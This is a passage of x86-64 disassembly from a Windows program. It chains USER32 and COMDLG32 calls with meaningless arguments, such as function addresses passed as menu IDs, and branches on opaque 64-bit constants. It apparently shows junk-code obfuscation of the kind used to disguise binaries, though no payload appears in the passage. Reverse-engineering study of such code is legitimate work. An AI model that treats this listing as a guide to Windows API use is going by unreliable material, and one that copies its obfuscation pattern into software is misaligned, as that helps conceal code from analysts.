mov rdx, qword [rsp + 0xc208]
mov rcx, qword [rsp + 0xc0d0]
call qword [sym.imp.USER32.dll_DlgDirListComboBoxW]
mov dword [rsp + 0x62cc], eax
mov rax, qword [rsp + 0xc008]
mov qword [rsp + 0x1d358], rax
movabs rax, 0x781a1ddd426ddc
cmp qword [rsp + 0x1d358], rax
je 0x140197906
jmp 0x140197a45
lea rax, [rsp + 0x29be0]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xc1b0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xc008]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x6254]
mov r8d, 0x1e
mov edx, 0xfd
mov rcx, qword [rsp + 0xc100]
call qword [sym.imp.USER32.dll_ScrollDC]
mov dword [rsp + 0x62e0], eax
movsx eax, word [rsp + 0x1d04]
add eax, 0x61f
mov word [0x1401c8a10], ax
lea rdx, [rsp + 0x29ec0]
mov rcx, qword [rsp + 0xc158]
call qword [sym.imp.USER32.dll_InvertRect]
mov dword [rsp + 0x6270], eax
mov r8d, 0x9d
mov edx, reloc.SHELL32.dll_ILClone
mov rcx, qword [rsp + 0xc230]
call qword [sym.imp.USER32.dll_RemoveMenu]
mov dword [rsp + 0x6268], eax
movsx eax, word [0x1401c8a10]
and eax, 0x26
movsx ecx, word [rsp + 0x1d04]
cmp eax, ecx
je 0x140197a19
mov qword [rsp + 0x20], SHTestTokenMembership
mov r9, qword [rsp + 0xc0c8]
mov r8, qword [rsp + 0xc028]
mov rdx, qword [rsp + 0xc110]
mov rcx, qword [rsp + 0x1d300]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0xc028], rax
movzx eax, byte [rsp + 0x253]
shl eax, 2
mov byte [rsp + 0x253], al
movzx eax, byte [rsp + 0x253]
sar eax, 7
mov byte [rsp + 0x253], al
jmp 0x140197a43
movsx eax, word [rsp + 0x1d04]
xor eax, 0x680
movsx ecx, word [0x1401c8a10]
cmp eax, ecx
je 0x140197a43
mov ecx, ILIsEqual
call qword [sym.imp.USER32.dll_GetQueueStatus]
mov dword [rsp + 0x62a4], eax
jmp 0x140197a59
movsx eax, word [0x1401c8a10]
or eax, 0x17e
mov word [rsp + 0x1d04], ax
jmp 0x140197ac5
mov rax, qword [rsp + 0xc008]
mov qword [rsp + 0x1d360], rax
movabs rax, 0x7456aea005acec
cmp qword [rsp + 0x1d360], rax
je 0x140197a81
jmp 0x140197ab1
lea rcx, [rsp + 0x29cd0]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0xc068], rax
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x6254], eax
mov dword [rsp + 0x6254], 0x11c8
jmp 0x140197ac5
mov rax, qword [rsp + 0xc008]
shl rax, 0x16
mov qword [rsp + 0xc008], rax
lea rcx, [rsp + 0x29d20]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0xc070], rax
movabs rax, 0x72b45638aab4c5
mov rcx, qword [rsp + 0xc008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc008], rax
movabs rax, 0x7e39f941cb4aba
mov rcx, qword [rsp + 0xc008]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc008], rax
mov eax, dword [rsp + 0x7650]
add rsp, 0x2a048
ret